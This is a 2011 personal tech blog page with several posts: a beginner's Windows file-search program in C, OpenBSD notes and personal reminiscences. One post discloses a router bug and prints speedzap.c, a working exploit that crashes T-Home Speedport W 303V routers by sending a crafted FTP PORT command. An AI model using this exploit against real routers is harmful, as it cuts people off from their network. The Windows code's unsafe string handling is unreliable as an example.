Centroid.EU Blog

My second Windows program

June 25th, 2011

Since I got my windows system programming book I've been toiling with a program on windows. The first program was a hello, world program and this is the second program.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>

int find(TCHAR *filename, TCHAR *buf, TCHAR *);

int
_tmain(int argc, char *argv[])
{
        TCHAR buf[MAX_PATH + 1];
        TCHAR filename[MAX_PATH + 1];

        if (argc == 1) {
                printf("enter filename to find:\n");
                fgets(filename, sizeof(filename), stdin);

                if (filename[strlen(filename) - 1] == '\n')
                        filename[strlen(filename) - 1] = '\0';
                if (filename[strlen(filename) - 1] == '\r')
                        filename[strlen(filename) - 1] = '\0';

                printf("enter directory to start search:\n");
                fgets(buf, sizeof(buf), stdin);

                if (buf[strlen(buf) - 1] == '\n')
                        buf[strlen(buf) - 1] = '\0';
                if (buf[strlen(buf) - 1] == '\r')
                        buf[strlen(buf) - 1] = '\0';

                if (buf[strlen(buf) - 1] != '\\') {
                        strncat(buf, "\\", sizeof(buf));
                }
        }
        
        find(filename, buf, buf);
        printf("find done.\n");
        
        fgets(buf, sizeof(buf), stdin);
        return(0);
}

int
find(TCHAR *filename, TCHAR *buf, TCHAR *samefile)
{
        TCHAR newbuf[MAX_PATH + 1];
        HANDLE myH;
        WIN32_FIND_DATA fd;
        DWORD fType;
        

        strcat(buf, "\*");

        myH = FindFirstFile(buf, &fd);

        do {
                if (strcmp(fd.cFileName, filename) == 0) {
                                
                                strncpy(newbuf, buf, MAX_PATH);
                                newbuf[strlen(newbuf) - 1] = '\0';
                                strncat(newbuf, fd.cFileName, MAX_PATH);

                                _tprintf(_T("%s\n"), newbuf);
                }

                if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

                        if (strcmp(fd.cFileName, samefile) == 0)
                                        continue;

                        if (strcmp(fd.cFileName, ".") == 0 ||
                                        strcmp(fd.cFileName, "..") == 0)
                                                continue;
                        
                        strncpy(newbuf, buf, sizeof(newbuf));
                        newbuf[strlen(newbuf) - 1] = '\0';
                        strncat(newbuf, fd.cFileName, MAX_PATH);
                        strncat(newbuf, "\\", MAX_PATH);

                        if (find(filename, newbuf, fd.cFileName) == 1)
                                        break;

                }
        
        } while (FindNextFile(myH, &fd));
        FindClose(myH);

        return (0);
}

The program requires one to press enter at the end when the finding is done which is a feature I put in for the Visual C++ Express program when one debugs it so that the cmd screen stays open. What the program does is similar to UNIX's find(1), although this implementation is more like a joke. Notice one has to use "*" to list contents in a path. yikes.

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Solstice in three days

June 18th, 2011

The June Solstice is in three days. This means summer in the northern hemisphere and winter in the southern hemisphere.

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Update on Speedport W303V crash

June 18th, 2011

The particular router is a Type A machine, where two models exist. Type A and Type B. I called the telekom yesterday and told them the problem and they had me put the default settings back on the router after backing up the settings and try again. NO GO. The firmware is the latest released and all we can hope for is another firmware patch. This router is beyond broken and I can't continue to FTP stuff like freebsd ezjail stuff on virtualbox. The tech at the telekom said we could exchange the router but we weren't on warranty anymore. This is like an 80 euro router... so we left it at that. I came out empty handed.

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Speedport W303V crashes on PORT FTP command

June 13th, 2011

My parents have a Speedport W303V router bought from T-Home as they are a Telekom customer. I was playing around with FreeBSD today and noticed that whenever I'd ftp something the router would crash. So I tcpdumped it and produced this exploit that crashes this router.

/* speedzap.c by pbug
 *
 * This program crashes a T-Home Speedport W 303V router 
 * with firmware version 1.09.000
 *
 * The router is not even touched, an FTP PORT command is sent with an
 * IP that is not in the address range given out by this router.
 *
 * Some proxy inside the router must cause it to give up and become 
 * unreachable.
 *
 * cc -o speedzap speedzap.c ; ./speedzap
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FTPSERVER "213.83.42.56"
#define FTPPORT	21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"

int
main(void)
{
	struct sockaddr_in sin;
	int so;
	char buf[512];


	so = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (so < 0) {
		perror("socket");
		exit(1);
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(FTPPORT);
	sin.sin_addr.s_addr = inet_addr(FTPSERVER);
	if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("connect");
		exit(1);
	}

	read(so, buf, sizeof(buf));
	write(so, BYEBYE, strlen(BYEBYE));
	
	printf("zapped, restart your router.\n");

	close(so);

	exit(0);
}

The program is intended for educational use to show how bad some proxy functions are built-in to routers.

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Bought a book on Windows System programming

June 5th, 2011

This is the book that I purchased. I'm hoping to learn a bit about the Windows system. I can use that knowledge to better my understanding of how OS's work in general.

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Cleaning heatsink reduces CPU temperature

June 2nd, 2011

My apartment isn't the cleanest place on earth. So it happens that dust accumulates inside the computer case and eventually gets into the fans and heatsinks. Today was one of those days where the CPU fan could not cool the CPU sufficiently anymore and the box overheated. I had a hard time connecting this heatsink to the cpu, the first time I musta done it wrong and the CPU overheated very quickly. The second time I watched the temperature in the bios hardware monitor for 15 minutes and last I saw it at 48.5 degrees Celsius. Still fairly high considering the Fan was at 2200 RPM's. But I felt that this was better than the 70's that it was at earlier. I do wonder whether a liquid cooling system is better for my setup.

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OpenBSD 5.0 with or without a browser in AMD64?

June 2nd, 2011

A new awesome function in OpenBSD-current breaks software that is written on 32 bit operating systems. In a mail by Marc Espie to the OpenBSD misc@ mailing list he says:

Not surprisingly, a lot of software that claims to be 64 bits-ready isn't. This touches all web navigators, most jit engines, and probably lots more of software (our ports tree version of gnu-grep, for instance).

He goes on to say: So, a lot of developers are hard at work figuring the problems, getting the word upstream.

So further in the thread Theo de Raadt dug up some stuff that Linux is using particularly a flag in mmap that forces 64 bit kernels to only allocate in the low 32 bits for its programs , like Theo said this is sickening.

Later I wrote asking what the OpenBSD community would do if the browsers can't be fixed in time for the 5.0 release. Because that's what it comes down to for me. When I boot my OpenBSD/amd64 vm instance "dione" I log into X and open usually 1 or 2 xterms and firefox. I do most of my surfing on OpenBSD and only when I need flash do I change to another operating system such as Windows 7. This habit may be in danger here, if the firefox mozilla team can't fix their software in time for the 5.0 release. I have some experience with getting programs fixed "upstream" and not always is there willingness to fix what is wrong out of whatever reason.

So for me, this means relax and sit back and wait. Its unlikely OpenBSD can bundle a browser with their software in time for 5.0 and we may have to go without one in the amd64 platform. Or perhaps the fixes for mozilla are trivial and I'm worried over nothing. But this makes a good writeup for my blog :-).

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Hello Hal!

May 27th, 2011 0 comments

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Does it have honour? What about minimum wage?

May 27th, 2011 0 comments

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One t(w)o Four, a time to chill

May 21st, 2011

When I grew up in Stratford, Ontario I became infatuated with Hip Hop. I dressed like I thought a rapper would dress and my friends all listened to Hip Hop as well. We were a small group called "the rappers". It was isolating but we couldn't hold back our faith. I longed for more. I needed to move to the big city to live Hip Hop. *chuckle* So in 1994 me and a friend moved to Toronto to take part in the Hip Hop scene there. We visited clubs and bars to see acts that came through the city and then there was Saturday's. From 1PM to 4PM we listened to the Powermove show on CKLN 88.1FM. This spot was perfect and a time to chill on a saturday afternoon. I have fond memories of listening to MC battles conducted over telephone call-ins. One particular still stands out in my mind when one person won a battle when he rapped about his bike with a banana seat. I loved those times then.

On February 12th, 2011 CKLN 88.1FM had a tribute to all the shows that played on the 1-4PM timeslot. This was a historic show and many blogs and media outlets picked up on it, here is some:

• Toronto Hip Hop Documentary "1-4"
• "1 to 4" - Short Documentary
• North Side Hip-Hop
• Toronto Hip Hop Documentary "1 to 4" Released

I also listened to this show and even taped it. You can check it out here.

Today 88.1FM doesn't exist anymore, only as an online radio station at ckln.fm and for some reason the 1-4 spot has no more mixtape massacre. This is too bad, and people in Toronto who listened to 88.1FM have lost a great pillar that upheld hip-hop in TO. Well that's all I wanted to blog about today.

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